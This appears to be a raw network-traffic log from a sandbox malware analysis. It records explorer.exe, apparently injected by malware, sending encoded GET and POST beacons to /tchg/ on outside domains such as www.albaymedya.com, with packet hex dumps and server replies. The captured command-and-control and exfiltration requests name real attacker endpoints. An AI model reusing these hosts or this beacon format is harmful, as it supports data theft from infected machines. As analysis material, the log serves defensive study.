6e 68 32 50 5a 61 71 6f 5f 53 52 78 51 47 62 63 70 4f 63 30 41 35 54 61 79 4b 52 30 4f 58 49 38 4a 51 55 42 31 72 4a 49 78 6b 44 69 51 4c 45 55 54 35 58 74 44 68 38 34 4b 48 57 44 48 7a 77 7a 4f 72 45 45 46 38 35 42 6b 6b 79 74 45 65 63 6e 53 7e 35 34 2d 6e 51 78 58 69 6c 41 53 45 4c 37 63 66 5a 54 34 4e 48 65 59 6a 44 31 65 35 30 4e 32 65 51 66 4b 49 50 78 77 6a 63 56 49 69 61 53 43 54 4d 38 69 75 69 4b 6a 4b 37 41 78 57 7a 74 52 69 47 72 4f 58 34 58 38 30 38 57 37 30 62 4d 47 35 55 64 74 67 50 65 65 6a 66 51 53 46 45 77 64 53 73 6c 74 63 6a 79 73 6b 4c 54 47 75 41 35 36 7a 42 45 59 71 6a 30 36 37 6e 68 64 7e 58 65 71 5a 65 4e 79 6d 50 32 45 79 30 34 33 4b 53 76 7a 38 44 37 38 6b 34 35 4c 6f 65 4f 5a 4f 43 28 6b 73 68 39 76 78 78 51 34 74 42 66 6c 5a 75 57 72 61 2d 51 52 73 33 5a 51 62 44 39 6d 6c 37 6a 75 65 56 44 62 28 67 4c 67 45 58 79 69 55 56 6e 38 7e 74 79 32 33 73 7e 43 6a 71 79 52 64 32 4c 75 57 78 66 4e 6b 75 77 5f 34 5f 7a 44 52 4d 52 4a 34 34 74 7a 4b 75 78 69 4f 51 5a 58 33 52 4a 65 30 33 78 70 41 34 52 77 41 78 74 44 4c 47 6a 62 58 64 75 34 73 4a 45 45 58 4d 59 78 54 4a 45 6e 55 47 4c 39 70 37 7a 76 73 47 59 49 66 62 75 75 56 53 75 65 54 77 73 6d 6d 7a 32 65 4c 77 52 56 32 74 79 30 37 65 6c 43 46 57 41 46 73 51 7a 48 79 4a 6e 44 64 71 63 62 77 63 72 50 36 41 59 68 59 4f 52 47 63 45 64 54 36 4a 48 6d 7a 78 55 78 57 6c 45 6c 38 65 37 67 43 69 63 62 4b 51 51 6c 53 31 36 33 77 76 59 43 44 43 35 77 62 44 67 57 69 53 28 5f 72 66 56 42 7a 76 37 67 33 48 45 48 78 50 4b 41 48 52 71 62 54 57 30 35 59 39 70 4d 59 74 55 51 67 57 70 31 53 32 56 41 4d 32 72 65 77 64 4b 35 51 64 74 6b 71 78 4a 43 68 77 38 62 57 53 56 47 55 78 78 30 61 59 64 75 6d 6d 47 4b 51 50 38 55 77 34 66 57 58 4f 77 36 5a 65 50 71 73 65 78 44 37 56 35 47 61 6e 37 39 32 6c 69 67 42 5a 4b 67 53 59 43 44 30 53 67 44 77 33 41 65 74 6d 62 42 6a 31 7e 41 66 5a 42 4f 4a 79 41 50 28 39 51 6e 48 41 67 76 63 7a 31 66 4d 33 45 76 49 47 54 6b 43 50 7a 68 37 4f 6f 33 5a 4b 4a 44 48 4c 79 53 39 63 37 74 4b 56 5a 32 70 4c 57 63 73 61 73 43 33 67 62 75 52 52 67 65 6f 64 68 6f 79 4c 70 33 4a 37 63 48 54 4d 64 71 31 67 70 31 61 64 31 48 56 59 56 6e 47 54 7e 31 4d 66 6c 6a 57 4b 34 44 73 66 33 63 54 77 61 66 72 69 53 73 42 51 4b 6e 43 36 58 6e 4a 69 37 4c 54 33 51 61 71 42 31 42 72 36 61 59 68 61 54 4f 43 4b 6b 31 57 54 7a 4b 62 63 66 38 6c 39 39 74 4a 57 66 45 42 77 4c 74 46 4c 61 71 57 30 37 4d 42 44 71 61 72 37 4e 50 28 44 37 35 75 62 7e 78 6b 53 6d 39 67 6a 54 59 49 51 38 4d 34 39 68 71 4b 78 74 43 54 4a 4e 37 79 58 55 54 47 39 68 5f 54 6c 43 4d 73 64 4f 43 53 67 6f 32 33 69 4f 66 4e 4f 45 52 34 56 73 49 56 39 44 55 67 72 75 64 74 6a 62 61 77 73 5a 49 39 30 75 6f 6c 61 61 54 6a 46 55 72 37 66 47 76 6d 51 76 50 4c 43 6d 64 37 4f 63 35 49 43 64 36 76 73 45 68 41 67 63 30 4c 77 66 78 51 73 4c 76 63 78 64 72 34 57 55 6d 52 62 48 6d 35 7a 53 53 43 75 59 5a 74 49 42 52 50 32 7e 48 46 52 33 69 73 41 4f 4f 4e 62 75 46 33 4e 35 72 36 59 66 51 65 68 53 43 4a 34 53 33 46 38 74 44 4f 4e 74 31 59 6a 76 33 7e 49 5a 52 36 42 48 4f 35 5f 5a 6c 71 5a 28 71 78 69 57 71 65 6c 43 4f 6c 69 4f 54 46 72 79 2d 6a 73 6b 67 32 64 31 43 57 69 63 43 43 34 55 50 6b 55 79 33 69 Data Ascii: O0qEM=75bv9baYuh5nqUhWmkR7OLP7n8dLH2b69MUDeSTKM4UV1Pg8Po~VIgI6Ob1lrrdP08XUgNzPSWJZV8JwalUQbwKKw3gHt8TKUCojwf(vOBgdfv0ht0vYDefBEFPXYNiGGI7qCpbDHRZ3y3YyOQ~6OEWvmI1sjcFmJ-BFi23fZB08czQs44kl7kimBaW7~nAQ7fz99yUR00oVLoxanvPfeHP7OQ5I7I7NLS4KbYzqmInr20ZbAYPb3m2rxoS-fjR_sDb83dp2WOK8DTrrZ4niZxxmkIjPiTIYIYdFRH2SfKY8LPtnh2PZaqo_SRxQGbcpOc0A5TayKR0OXI8JQUB1rJIxkDiQLEUT5XtDh84KHWDHzwzOrEEF85BkkytEecnS~54-nQxXilASEL7cfZT4NHeYjD1e50N2eQfKIPxwjcVIiaSCTM8iuiKjK7AxWztRiGrOX4X808W70bMG5UdtgPeejfQSFEwdSsltcjyskLTGuA56zBEYqj067nhd~XeqZeNymP2Ey043KSvz8D78k45LoeOZOC(ksh9vxxQ4tBflZuWra-QRs3ZQbD9ml7jueVDb(gLgEXyiUVn8~ty23s~CjqyRd2LuWxfNkuw_4_zDRMRJ44tzKuxiOQZX3RJe03xpA4RwAxtDLGjbXdu4sJEEXMYxTJEnUGL9p7zvsGYIfbuuVSueTwsmmz2eLwRV2ty07elCFWAFsQzHyJnDdqcbwcrP6AYhYORGcEdT6JHmzxUxWlEl8e7gCicbKQQlS163wvYCDC5wbDgWiS(_rfVBzv7g3HEHxPKAHRqbTW05Y9pMYtUQgWp1S2VAM2rewdK5QdtkqxJChw8bWSVGUxx0aYdummGKQP8Uw4fWXOw6ZePqsexD7V5Gan792ligBZKgSYCD0SgDw3AetmbBj1~AfZBOJyAP(9QnHAgvcz1fM3EvIGTkCPzh7Oo3ZKJDHLyS9c7tKVZ2pLWcsasC3gbuRRgeodhoyLp3J7cHTMdq1gp1ad1HVYVnGT~1MfljWK4Dsf3cTwafriSsBQKnC6XnJi7LT3QaqB1Br6aYhaTOCKk1WTzKbcf8l99tJWfEBwLtFLaqW07MBDqar7NP(D75ub~xkSm9gjTYIQ8M49hqKxtCTJN7yXUTG9h_TlCMsdOCSgo23iOfNOER4VsIV9DUgrudtjbawsZI90uolaaTjFUr7fGvmQvPLCmd7Oc5ICd6vsEhAgc0LwfxQsLvcxdr4WUmRbHm5zSSCuYZtIBRP2~HFR3isAOONbuF3N5r6YfQehSCJ4S3F8tDONt1Yjv3~IZR6BHO5_ZlqZ(qxiWqelCOliOTFry-jskg2d1CWicCC4UPkUy3i8q1zO1dYG7S9MOYJyVcRESI~wIKS9ZHGSuVhiLR4Cw63z1ozAnPSOnYqRkaXHdHrFkJagRiea3CT8wwUv4tIdrrIIFnipvUMaecIh8qn-UVk5QXTuEzg2CtihWCG240pl2n2XKtOpbwOQfIyTZV0SJWR6nx93z76y39HpOUGBX75-JblzhIrEaXfNW7PQj1Lqt63srbAHsHEhoTDUY5c2vhXA2_BEEy4S4T5aMprqd-1ZYNBFkBJ8S8bP15XQ33vMwQUcZBg42QdhH2tDYu5w~7SzEjs3vPuqXkZt(oTBJciM3QbjaQm7PhfxAazC5iIy8pG2qLUPekmw8wpibWNFPisrSjeRAc~7lge0Us687Q0FHI1OIgLYoK2oFAUzB4GnxJTMd2GwZa(R(ePDBcUHkBsv32~hw5o8B2Xa18u92eWAFbGex4JN8jV8d6uTwrlwNEQ8jbvztmT1aWh33ZNxwbQXThcYYWSaq_hckulqzjE0u-J_v1abG5b8m0kU4DblD6BzoP41vu1RFln7HaOUEWiWQIUSW6hL0F6L~SXVnyi9z6h1ueX9S7vCJO4S1EhZhGKDTEnvSlinGySzO1OsXHeYcPWd0mwL(0vPMsQTfN0_RLqskvXy2XrNCPfFIeckxrt7fWldHCf9X71StbLbo4oZIBeXxc9NentnTvXd4GpIcvLYJ1ZWG5u_Z14AgdFFy5xmLxTq92(1lnWMyEoOfnZU02m7QngCNo4XXBDs3qIj55d5s81lizWfPFbHhbctwduYb1YONF
May 30, 2023 11:09:48.554619074 CEST	780	OUT	Data Raw: 38 4a 33 6a 52 39 58 79 39 6e 70 61 55 45 75 2d 39 35 33 74 75 74 6d 36 68 72 5a 56 7e 33 62 76 38 73 58 55 77 5a 57 38 48 4d 51 41 61 55 78 73 37 37 72 63 41 39 59 66 79 64 69 5a 58 77 43 6c 78 4e 34 58 38 2d 49 6c 71 62 78 36 6e 48 4f 75 39 44 Data Ascii: 8J3jR9Xy9npaUEu-953tutm6hrZV~3bv8sXUwZW8HMQAaUxs77rcA9YfydiZXwClxN4X8-Ilqbx6nHOu9DaGLNmSJbKAn-J0codRw2YBXDhVfrdkW1Ve7Dt7H1FUd1ve~NHEgE~VwPeZtAwUBAAny_ptse(aYwooNpW1b0KjPaATTDzg1VImijEadV9qLFocAORNuFNP32epjk8D5VeTeFYiolaWQQLtE5NRzPXoz0FDx_skc2J
May 30, 2023 11:09:48.554666996 CEST	785	OUT	Data Raw: 77 6b 7a 4a 51 4e 58 70 45 4f 38 73 65 41 4f 57 7a 76 70 4b 61 75 65 6f 56 44 41 50 79 6d 76 61 51 72 4e 6a 36 78 67 62 4e 6e 6e 44 6e 5a 56 56 4e 39 7e 6d 4c 4d 74 4c 66 77 71 38 42 5a 36 77 51 4d 66 56 50 34 4a 46 78 32 6a 44 66 67 77 5f 32 34 Data Ascii: wkzJQNXpEO8seAOWzvpKaueoVDAPymvaQrNj6xgbNnnDnZVVN9~mLMtLfwq8BZ6wQMfVP4JFx2jDfgw_24p9cmFdVrRbg9gS2dMPFaePpt2sfQEoZtmaHUVidNrbeOrYxkI3GgyieOtykV1RIdgSrsKfi97Q404-~inKDpBcftuoLYAcfGFR0E7uNU7BeoYm3bgpZCdUYX6BR2V8zA5Yf9apd1dvY8GouUBcdT2GQyd2ewPBJ9O
May 30, 2023 11:09:48.582350016 CEST	788	OUT	Data Raw: 69 5f 66 30 4e 63 74 63 4a 4e 43 47 55 76 39 75 4f 78 33 4b 73 78 6e 58 30 75 56 48 54 47 68 76 66 4e 4e 6a 48 56 77 50 33 33 74 41 7a 54 47 52 75 6e 63 69 41 46 53 74 6c 74 6a 64 6b 72 5a 67 77 6f 31 74 6b 59 4a 35 4a 51 66 38 5a 62 56 73 67 6d Data Ascii: i_f0NctcJNCGUv9uOx3KsxnX0uVHTGhvfNNjHVwP33tAzTGRunciAFStltjdkrZgwo1tkYJ5JQf8ZbVsgm7WXYcb~AdTFFpuB-cTtRweYkWkV1pFcN3bxBSUC07-Lo4LxIOzEAhQIsIdg0zONXpC4imVdN7HCDFA4A1lUEzCta0irjTImVHRZC0hhE5AmNnzoWLS(qLwZGbmCm97uqPNkC4ObxyHbusCcmh8qyT4V_gNndaw45u
May 30, 2023 11:09:48.582509995 CEST	801	OUT	Data Raw: 33 76 46 58 79 77 79 76 35 39 71 6a 6f 63 32 56 69 69 6c 71 6b 52 4a 35 77 4a 6a 71 4b 43 58 6b 4e 50 61 42 30 72 46 36 4f 62 6c 35 4d 67 47 38 70 7a 31 58 55 69 57 41 44 67 61 38 75 30 79 6e 33 7a 31 71 28 65 66 35 75 33 4e 33 69 4e 68 38 58 37 Data Ascii: 3vFXywyv59qjoc2ViilqkRJ5wJjqKCXkNPaB0rF6Obl5MgG8pz1XUiWADga8u0yn3z1q(ef5u3N3iNh8X7jXNvcE5MqmjlVsfiepUIg03gWt15HihPz-Lb2clQWa6ewvUOmN(eY8cyt3JYEPLPe-iAVYqr4xV8Ogya2TUX6jt0bThvrUrpbyc2~gnCdsEnOkJ_L_Doui9Pa1eEVFzkfQEE9JF6zox-gGjvy6ZHHmfzx-tvVyINK

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.11.20	49793	84.32.84.32	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:09:51.101198912 CEST	801	OUT	GET /tchg/?O0qEM=27zP+uSjjQlLnilOnGJCOrnozMlpBRLg3OEmXmWOVdAdyewLZJq+JAgQDNVT6O1S8K/UhNHecCZNR/ARSVl+YwbS8ARBrMbIDw==&CF1Ki=UnDuQcdCFs1MNsvY HTTP/1.1 Host: www.comoparardefumar.website Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
May 30, 2023 11:09:51.129344940 CEST	803	IN	HTTP/1.1 200 OK Server: hcdn Date: Tue, 30 May 2023 09:09:51 GMT Content-Type: text/html Content-Length: 10066 Connection: close Vary: Accept-Encoding x-hcdn-request-id: 1279e99359e17c89bb8be6a9cc326608-fast-edge3 Expires: Tue, 30 May 2023 09:09:50 GMT Cache-Control: no-cache Accept-Ranges: bytes Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 74 69 74 6c 65 3e 50 61 72 6b 65 64 20 44 6f 6d 61 69 6e 20 6e 61 6d 65 20 6f 6e 20 48 6f 73 74 69 6e 67 65 72 20 44 4e 53 20 73 79 73 74 65 6d 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 20 68 74 74 70 2d 65 71 75 69 76 3d 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 50 61 72 6b 65 64 20 44 6f 6d 61 69 6e 20 6e 61 6d 65 20 6f 6e 20 48 6f 73 74 69 6e 67 65 72 20 44 4e 53 20 73 79 73 74 65 6d 22 20 6e 61 6d 65 3d 64 65 73 63 72 69 70 74 69 6f 6e 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 68 74 74 70 73 3a 2f 2f 6d 61 78 63 64 6e 2e 62 6f 6f 74 73 74 72 61 70 63 64 6e 2e 63 6f 6d 2f 62 6f 6f 74 73 74 72 61 70 2f 33 2e 33 2e 37 2f 63 73 73 2f 62 6f 6f 74 73 74 72 61 70 2e 6d 69 6e 2e 63 73 73 20 72 65 6c 3d 73 74 79 6c 65 73 68 65 65 74 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 68 74 74 70 73 3a 2f 2f 61 6a 61 78 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6a 71 75 65 72 79 2f 33 2e 32 2e 31 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 68 74 74 70 73 3a 2f 2f 6d 61 78 63 64 6e 2e 62 6f 6f 74 73 74 72 61 70 63 64 6e 2e 63 6f 6d 2f 62 6f 6f 74 73 74 72 61 70 2f 33 2e 33 2e 37 2f 6a 73 2f 62 6f 6f 74 73 74 72 61 70 2e 6d 69 6e 2e 6a 73 3e 3c 2f 73 63 72 69 70 74 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 66 6f 6e 74 2d 61 77 65 73 6f 6d 65 2f 35 2e 31 35 2e 33 2f 63 73 73 2f 61 6c 6c 2e 6d 69 6e 2e 63 73 73 20 72 65 6c 3d 73 74 79 6c 65 73 68 65 65 74 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4f 70 65 6e 2b 53 61 6e 73 3a 33 30 30 2c 33 30 30 69 2c 34 30 30 2c 34 30 30 69 2c 36 30 30 2c 36 30 30 69 2c 37 30 30 2c 37 30 30 69 2c 38 30 30 2c 38 30 30 69 26 73 75 62 73 65 74 3d 63 79 72 69 6c 6c 69 63 2c 63 79 72 69 6c 6c 69 63 2d 65 78 74 2c 67 72 65 65 6b 2c 67 72 65 65 6b 2d 65 78 74 2c 6c 61 74 69 6e 2d 65 78 74 2c 76 69 65 74 6e 61 6d 65 73 65 22 20 72 65 6c 3d 73 74 79 6c 65 73 68 65 65 74 3e 3c 73 74 79 6c 65 3e 68 74 6d 6c 7b 68 65 69 67 68 74 3a 31 30 30 25 7d 62 6f 64 79 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 4f 70 65 6e 20 53 61 6e 73 22 2c 48 65 6c 76 65 74 69 63 61 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 30 30 30 3b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 34 32 38 Data Ascii: <!doctype html><title>Parked Domain name on Hostinger DNS system</title><meta charset=utf-8><meta content="IE=edge,chrome=1" http-equiv=X-UA-Compatible><meta content="Parked Domain name on Hostinger DNS system" name=description><meta content="width=device-width,initial-scale=1" name=viewport><link href=https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css rel=stylesheet><script src=https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js></script><script src=https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js></script><link href=https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.3/css/all.min.css rel=stylesheet><link href="https://fonts.googleapis.com/css?family=Open+Sans:300,300i,400,400i,600,600i,700,700i,800,800i&subset=cyrillic,cyrillic-ext,greek,greek-ext,latin-ext,vietnamese" rel=stylesheet><style>html{height:100%}body{font-family:"Open Sans",Helvetica,sans-serif;color:#000;padding:0;margin:0;line-height:1.428
May 30, 2023 11:09:51.129426956 CEST	804	IN	Data Raw: 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 31 30 2e 37 64 65 67 2c 23 65 39 65 64 66 62 20 2d 35 30 2e 32 31 25 2c 23 66 36 66 38 66 64 20 33 31 2e 31 31 25 2c 23 66 66 66 20 31 36 36 2e 30 32 25 29 7d 68 Data Ascii: ;background:linear-gradient(10.7deg,#e9edfb -50.21%,#f6f8fd 31.11%,#fff 166.02%)}h1,h2,h3,h4,h5,h6,p{padding:0;margin:0;color:#333}h1{font-size:30px;font-weight:600!important;color:#333}h2{font-size:24px;font-weight:600}h3{font-size:22px;font-
May 30, 2023 11:09:51.129487038 CEST	805	IN	Data Raw: 61 76 3e 6c 69 3e 61 20 69 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 35 70 78 7d 2e 6e 61 76 2d 62 61 72 20 69 6d 67 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 74 6f 70 3a 33 70 78 7d 2e 63 6f 6e 67 72 61 74 7a 7b 6d 61 72 67 69 6e Data Ascii: av>li>a i{margin-right:5px}.nav-bar img{position:relative;top:3px}.congratz{margin:0 auto;text-align:center}.top-container{display:flex;flex-direction:row}.message-subtitle{color:#2f1c6a;font-weight:700;font-size:24px;line-height:32px;margin-b
May 30, 2023 11:09:51.129548073 CEST	807	IN	Data Raw: 3a 31 36 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 32 30 70 78 3b 6d 69 6e 2d 77 69 64 74 68 3a 32 30 70 78 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 64 69 73 70 6c Data Ascii: :16px;min-height:20px;min-width:20px;vertical-align:middle;text-align:center;display:inline-block;padding:4px 8px;font-weight:700;border-radius:4px;background-color:#fc5185}@media screen and (max-width:768px){.message{width:100%;padding:35px 0
May 30, 2023 11:09:51.129602909 CEST	808	IN	Data Raw: 77 3e 3c 69 20 61 72 69 61 2d 68 69 64 64 65 6e 3d 74 72 75 65 20 63 6c 61 73 73 3d 22 66 61 73 20 66 61 2d 67 72 61 64 75 61 74 69 6f 6e 2d 63 61 70 22 3e 3c 2f 69 3e 20 54 75 74 6f 72 69 61 6c 73 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 Data Ascii: w><i aria-hidden=true class="fas fa-graduation-cap"></i> Tutorials</a></li><li><a href=https://support.hostinger.com/en/ rel=nofollow><i aria-hidden=true class="fa-readme fab"></i>Knowledge base</a></li><li><a href=https://www.hostinger.com/af
May 30, 2023 11:09:51.129659891 CEST	809	IN	Data Raw: 63 63 65 73 73 66 75 6c 20 6f 6e 6c 69 6e 65 20 70 72 6f 6a 65 63 74 73 2e 3c 2f 70 3e 3c 62 72 3e 3c 61 20 68 72 65 66 3d 68 74 74 70 73 3a 2f 2f 77 77 77 2e 68 6f 73 74 69 6e 67 65 72 2e 63 6f 6d 20 72 65 6c 3d 6e 6f 66 6f 6c 6c 6f 77 3e 46 69 Data Ascii: ccessful online projects.</p><br><a href=https://www.hostinger.com rel=nofollow>Find your hosting plan</a></div></div><div class="col-xs-12 col-sm-4 column-custom-wrap"><div class=column-custom><div class=column-title>Add website to your hosti
May 30, 2023 11:09:51.129714966 CEST	811	IN	Data Raw: 3b 6e 3c 74 3b 29 7b 69 66 28 35 35 32 39 36 3d 3d 28 36 33 34 38 38 26 28 72 3d 6f 5b 6e 2b 2b 5d 29 29 29 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 55 54 46 2d 31 36 28 65 6e 63 6f 64 65 29 3a 20 49 6c 6c 65 67 61 6c 20 Data Ascii: ;n<t;){if(55296==(63488&(r=o[n++])))throw new RangeError("UTF-16(encode): Illegal UTF-16 value");65535<r&&(r-=65536,e.push(String.fromCharCode(r>>>10&1023\|55296)),r=56320\|1023&r),e.push(String.fromCharCode(r))}return e.join("")}};var o=36,r=21
May 30, 2023 11:09:51.129770041 CEST	812	IN	Data Raw: 7d 69 66 28 74 29 66 6f 72 28 66 3d 30 2c 77 3d 6d 2e 6c 65 6e 67 74 68 3b 66 3c 77 3b 66 2b 2b 29 79 5b 66 5d 26 26 28 6d 5b 66 5d 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6d 5b 66 5d 29 2e 74 6f 55 70 70 65 72 43 61 73 65 Data Ascii: }if(t)for(f=0,w=m.length;f<w;f++)y[f]&&(m[f]=String.fromCharCode(m[f]).toUpperCase().charCodeAt(0));return this.utf16.encode(m)},this.encode=function(t,a){var h,f,i,c,u,d,l,p,g,s,C,w;a&&(w=this.utf16.decode(t));var v=(t=this.utf16.decode(t.toL
May 30, 2023 11:09:51.129815102 CEST	812	IN	Data Raw: 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 70 61 74 68 4e 61 6d 65 22 29 3b 61 63 63 6f 75 6e 74 2e 69 6e 6e 65 72 48 54 4d 4c 3d 70 75 6e 79 63 6f 64 65 2e 54 6f 55 6e 69 63 6f 64 65 28 70 61 74 68 4e 61 6d 65 29 3c 2f Data Ascii: cument.getElementById("pathName");account.innerHTML=punycode.ToUnicode(pathName)</script>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.11.20	49794	185.106.208.3	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:09:56.301322937 CEST	813	OUT	POST /tchg/ HTTP/1.1 Host: www.albaymedya.com Connection: close Content-Length: 187 Cache-Control: no-cache Origin: http://www.albaymedya.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.albaymedya.com/tchg/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 4f 30 71 45 4d 3d 75 53 72 36 46 70 65 47 62 73 54 59 58 79 48 63 32 62 57 61 5a 7a 39 41 4d 59 41 4b 41 46 36 6f 39 53 6c 46 50 4e 49 34 76 65 77 31 69 48 28 44 30 6f 4c 50 70 45 4b 5a 4b 56 4d 30 38 49 74 75 7e 6c 33 71 38 77 33 34 65 51 77 41 55 45 62 49 34 49 33 71 4c 7a 28 57 70 5f 67 44 75 4a 46 37 31 56 47 79 42 6e 5a 79 6f 43 39 41 47 72 61 31 70 51 36 4b 52 72 58 64 4f 47 49 48 47 4d 53 79 28 36 4a 74 41 6c 6a 48 39 52 41 35 32 61 73 59 59 64 6e 61 48 75 71 4e 6b 6b 4e 71 76 37 36 75 68 78 71 73 51 41 70 31 30 31 69 73 52 7a 65 4e 57 51 29 2e 00 00 00 00 00 00 00 00 Data Ascii: O0qEM=uSr6FpeGbsTYXyHc2bWaZz9AMYAKAF6o9SlFPNI4vew1iH(D0oLPpEKZKVM08Itu~l3q8w34eQwAUEbI4I3qLz(Wp_gDuJF71VGyBnZyoC9AGra1pQ6KRrXdOGIHGMSy(6JtAljH9RA52asYYdnaHuqNkkNqv76uhxqsQAp101isRzeNWQ).
May 30, 2023 11:09:56.348151922 CEST	814	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 30 May 2023 09:09:55 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
36	192.168.11.20	49795	185.106.208.3	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:09:58.868215084 CEST	815	OUT	POST /tchg/ HTTP/1.1 Host: www.albaymedya.com Connection: close Content-Length: 527 Cache-Control: no-cache Origin: http://www.albaymedya.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.albaymedya.com/tchg/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 4f 30 71 45 4d 3d 75 53 72 36 46 70 65 47 62 73 54 59 52 68 50 63 37 63 69 61 4f 44 39 50 4a 59 41 4b 62 56 37 41 39 53 70 46 50 4d 63 53 75 72 67 31 69 6e 50 44 6d 35 4c 50 71 45 4b 5a 42 31 4d 74 6a 59 74 54 7e 6c 4c 69 38 31 66 34 65 51 55 41 55 78 50 49 7e 34 33 70 54 44 28 56 6f 5f 67 41 71 4a 45 30 31 56 36 66 42 6d 4e 79 6f 52 35 41 48 70 79 31 7e 53 53 4a 62 72 58 58 5a 32 49 41 54 63 53 38 28 36 46 54 41 6c 62 39 39 69 63 35 32 36 4d 59 4b 64 6e 64 4e 65 72 6b 38 6b 4e 30 6e 35 66 4c 6b 6e 53 44 49 44 4a 46 30 33 58 76 56 44 50 63 44 35 77 64 66 78 53 4a 7a 75 70 54 72 6a 71 37 78 41 6f 62 66 39 30 59 70 73 65 4a 41 67 31 4b 43 5a 57 4f 6d 6a 62 43 50 79 52 61 72 71 46 55 35 47 69 4a 39 35 4f 30 56 74 4e 33 4b 68 75 67 36 70 65 55 7e 41 67 77 35 63 62 39 51 69 63 6c 7e 6d 58 33 68 2d 77 6e 39 31 76 2d 50 38 6c 63 28 59 46 2d 46 66 42 74 75 4c 79 33 54 37 54 4c 75 32 37 68 77 4d 35 70 58 53 4e 6c 56 71 57 6b 4e 78 64 69 67 2d 28 2d 73 35 70 68 43 67 69 75 30 6e 74 77 6f 49 71 39 7e 4f 76 57 48 39 35 75 38 6f 4c 6d 6f 69 46 74 70 37 6e 66 39 75 4d 6e 6a 45 68 72 76 5f 51 6d 37 7a 39 6d 4f 4e 69 4b 4a 72 47 6c 77 47 4d 32 45 59 4a 66 62 57 43 44 78 38 74 37 43 35 4f 49 6e 6a 53 67 75 4d 7a 76 65 78 32 52 65 59 35 6f 71 33 74 32 46 79 64 72 4a 55 62 4b 54 58 44 37 68 6c 6e 73 75 46 73 72 